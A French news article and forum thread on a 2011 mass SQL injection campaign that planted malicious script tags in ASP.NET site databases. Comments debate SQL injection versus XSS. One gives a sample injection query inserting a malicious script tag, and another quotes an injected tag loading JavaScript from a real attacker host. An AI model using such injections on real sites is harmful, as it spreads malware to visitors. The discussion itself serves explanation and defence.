Une énorme vague d'injections SQL s'abat sur les sites ASP.NET
Plus d'un million de pages ont été infectées
Le 2011-10-20 18:45:46, par Idelways, Expert éminent sénior
Code rouge ! Une infection de masse se propage et cible les sites créés avec la plateforme ASP.Net de Microsoft.
Il s'agit d'après les chercheurs d'Armorize d'une infection par injection SQL similaire à l'épidémie "Lizamoon" survenue il y a quelque mois.
Les attaquants s'arrangent pour incruster du code HTML dans la base de donnée du site. Ce code charge en JavaScript deux sites via des iframes. Les pages cibles malicieuses redirigent vers un kit de malwares qui tente d'exploiter une panoplie de vulnérabilités, en fonction des navigateurs, lecteurs Flash/PDF d'Adobe et plug-in Java.
L'un des sites est localisé aux États-Unis tandis que l'autre se trouve en Russie. L'un des deux répond encore et continue de répandre ses ravages.
L'attaque ne marche donc que dans le cas où l'utilisateur dispose d'une ancienne version d'un navigateur ou plug-in non patchée. Une situation compliquée par le fait que seulement 6 Antivirus sur 43 sont en mesure de détecter la faille à l'heure de l'écriture de ces lignes.
Le code JavaScript en question est obfusqué en une série de codes de caractères, qui sont rassemblés et évalués au moment de l'exécution.
L'attaque se propage via reconnaissance active des moteurs de recherche et cible les utilisateurs de 6 langues particulières, dont le français.
La seule manière pour s’en prémunir consiste à utiliser les solutions NoScript-like. Pour le moment.
Source : site d'Armorize
Et vous ?
Que pensez-vous des détails de cette attaque ?
Il s'agit d'après les chercheurs d'Armorize d'une infection par injection SQL similaire à l'épidémie "Lizamoon" survenue il y a quelque mois.
Les attaquants s'arrangent pour incruster du code HTML dans la base de donnée du site. Ce code charge en JavaScript deux sites via des iframes. Les pages cibles malicieuses redirigent vers un kit de malwares qui tente d'exploiter une panoplie de vulnérabilités, en fonction des navigateurs, lecteurs Flash/PDF d'Adobe et plug-in Java.
L'un des sites est localisé aux États-Unis tandis que l'autre se trouve en Russie. L'un des deux répond encore et continue de répandre ses ravages.
L'attaque ne marche donc que dans le cas où l'utilisateur dispose d'une ancienne version d'un navigateur ou plug-in non patchée. Une situation compliquée par le fait que seulement 6 Antivirus sur 43 sont en mesure de détecter la faille à l'heure de l'écriture de ces lignes.
Le code JavaScript en question est obfusqué en une série de codes de caractères, qui sont rassemblés et évalués au moment de l'exécution.
L'attaque se propage via reconnaissance active des moteurs de recherche et cible les utilisateurs de 6 langues particulières, dont le français.
La seule manière pour s’en prémunir consiste à utiliser les solutions NoScript-like. Pour le moment.
Source : site d'Armorize
Et vous ?
-
IdelwaysExpert éminent séniorBonjour,
Essayez s'il vous plait, avant de cracher systématiquement sur une news et sur le métier de journaliste, de faire un peu de recherche.
J'ai eu moi aussi un doute que ce soit une attaque XSS (de code) et non pas Injection SQL, mais rien n'empêche qu'une attaque XSS arrive via une injection SQL.
On détourne une requête SQL non pas pour tout faire crasher, ou avoir des prévilèges, mais pour insérer un peu partout où l'ont veut du code arbitraire, par exemple à la place des Username, et autres champs qu'on ne pense pas systématiquement a échappé sur les vues.
Par exemple, une requête SELECT qui devient ' INSERT INTO USERS (username) VALUES ('<script src=url-script-malveillant></script>') -- '
Bref, n'ayant pas une certitude sur la nature et le mode opératoire de la faille en cours. Je me suis referé à Sucuri Research.
Je cite :
http://blog.sucuri.net/2011/10/mass-...injection.htmlMass infections from jjghui.com/urchin.js (SQL injection)On all the compromised sites we analyzed, the following JavaScript was added to the database:
<script src = http://jjghui.com/urchin.js ></script>
Cordialement
Idelwaysle 20/10/2011 à 22:44 -
Louis-Guillaume MorandRédacteureffectivement, ca ne touche que de l'asp et asp.net or une faille par SQL injection depend surtout de la facon dont on code ses appels à la base.
mais pour moi la prouesse est tout autre parce que attaquer un site mal configuré par SQL injection cela se fait avec de l'habitude mais pour le faire de façon automatiser sur des centaines de sites c'est autre chose mais finir par faire en sorte que le resultat injecté soit en plus affiché dans la page, ca l'est encore plus! ou alors là, on ne voit que la partie immergée de l'iceberg.
bien souvent la première cause de faille est la table users, attaquée par le login et on arrive à setter un pwd pour tous les comptes mais pas faire revenir du JS.
l'autre solution est la recherche, souvent mal protégée mais là encore, le SQL injection doit être un minimum touchy pour faire revenir le js sur les pages du site.
j'ai bien une idée. injecter un code dynamique qui se base sur sys.columns et en fonction du type, va concatener son script à toutes les valeurs sans exception, l'une étant affichée un moment où un autre mais bon, ca se verra vite sur l'interface et pas seulement du js caché dans le code (parce que le texte est souvent encodé avant d'etre affiché.
bref, vivement la suite de cette histoire
ps: certains sont un peu agressifs. y a certes parfois des erreurs dans les news des journalistes mais c'est pas pire que les autres sites et surtout ici il a raison, si c'est en base, c'est une SQL injection qui sert à préparer une attaque XSS pointle 20/10/2011 à 23:54 -
BluedeepInactifLe SQL c'est pas du code ?
Ca vient de sortir ?
Ce n'est pas sa spécialité.
On ne peut pas tout connaitre sur tout. Chacun son secteur.
Blague à part, écrire le code SQL d'une application nécessite de connaitre parfairtement l'aspect "métier" de celle ci; donc on ne peut pas imaginer une fraction de seconde comment le DBA, dont ce n'est pas le métier (je ne parle pas de coder en SQL, le DBA sait faire, mais de connaitre le métier de l'application) puisse s'occuper de cette tâche.
Ou alors tu considère la base de données comme rien d'autre qu'une sorte de "super ISAM" juste destinée à servir des données à la demande...... (et c'est, hélas, plus fréquent qu'on ne le pense .....).le 27/10/2011 à 12:47 -
tomlevRédacteur/Modérateurle 20/10/2011 à 21:58
-
tomlevRédacteur/ModérateurC'est clair... même s'il arrive aux journalistes de faire des erreurs, on peut les signaler courtoisement en évitant les attaques personnelles.
Pas forcément... enfin pour moi en tous cas, une injection SQL, ça consiste à exécuter en base une instruction qui n'aurait pas du être exécutée. Ici, le script JS a simplement été passé via un formulaire, et inséré en base comme n'importe quelle entrée utilisateur. Cette attaque n'a a priori pas bidouillé la requête SQL... même en utilisant des requêtes paramétrées, ça n'aurait pas empêché d'insérer ce texte en base. Le problème est simplement que le script entré dans le formulaire aurait dû être contrôlé et refusé, ou au minimum il n'aurait pas dû être affiché directement sur le site : il aurait dû être "HTML-encoded" (comme avec MvcHtmlString).
Bref, à mon sens il ne s'agit pas d'une injection SQL ; à un moment donné le script malicieux a effectivement été inséré en base, mais sans recourir à un hack quelconque.
Enfin bon, je peux me tromper, j'avoue n'avoir pas examiné en détail tous les éléments...le 21/10/2011 à 0:32 -
ixpeMembre avertiAntiVir 7.11.15.240 2011.10.12 TR/Dropper.Gen
ByteHero 1.0.0.1 2011.09.23 Trojan.Malware.Obscu.Gen.002
Fortinet 4.3.370.0 2011.10.12 W32/Binder.RZ!tr
Jiangmin 13.0.900 2011.10.12 Backdoor/Proxyier.a
McAfee 5.400.0.1158 2011.10.12 Suspect-BA!D8F9360A6B87
McAfee-GW-Edition 2010.1D 2011.10.12 Heuristic.LooksLike.Win32.Suspicious.J
Exact, un "DecryptByPassphrase" par exemple passera.
Les protections par defauts bloquent les attaques XSS mais pas les injections sql.le 24/10/2011 à 10:00 -
ixpeMembre avertiVia un formulaire cela me semble difficile en asp .net.
Il y a des parametrages par defaut qui refusent toutes les balises en entrées de formulaires.
On peut desactiver le parametre via <%@ Page validateRequest="false" %> mais là on cherche les ennuis.
http://www.asp.net/learn/whitepapers...est-validation
Par contre cela n empeche pas l'injection SQL : un
INSERT INTO USERS (username) VALUES ('blabla') peut passer
par contre un INSERT INTO USERS (username) VALUES ('<script> ne passera pas...le 21/10/2011 à 11:35 -
ixpeMembre avertiL'utilisation de procedures stockées me parait le plus sécurisant.
C'est moins souple évidemment, c'est du boulot en plus, il faut faire quelques pirouettes de temps en temps mais je pense que coté securité (injection sql) on ne se pose plus trop de question.
De plus on peut gérer finement les droits sur les proc stock (qui execute quoi).le 26/10/2011 à 10:04 -
Nathanael MarchandRédacteurEuh et par quel moyen?le 20/10/2011 à 19:49
-
redbullchMembre confirmé
Envoyé par Idelways
injections SQLle 20/10/2011 à 22:21